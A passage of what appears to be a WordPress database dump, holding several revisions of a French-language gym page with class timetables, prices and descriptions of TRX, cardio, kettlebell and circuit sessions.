5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:25', '2013-07-03 17:40:25', '', 11, 'http://www.crosstrainingcenter.be/?p=194', 0, 'revision', '', 0),
(195, 1, '2013-07-03 17:40:44', '2013-07-03 17:40:44', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 38%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:44', '2013-07-03 17:40:44', '', 11, 'http://www.crosstrainingcenter.be/?p=195', 0, 'revision', '', 0),
(196, 1, '2013-07-03 17:40:57', '2013-07-03 17:40:57', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 41%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 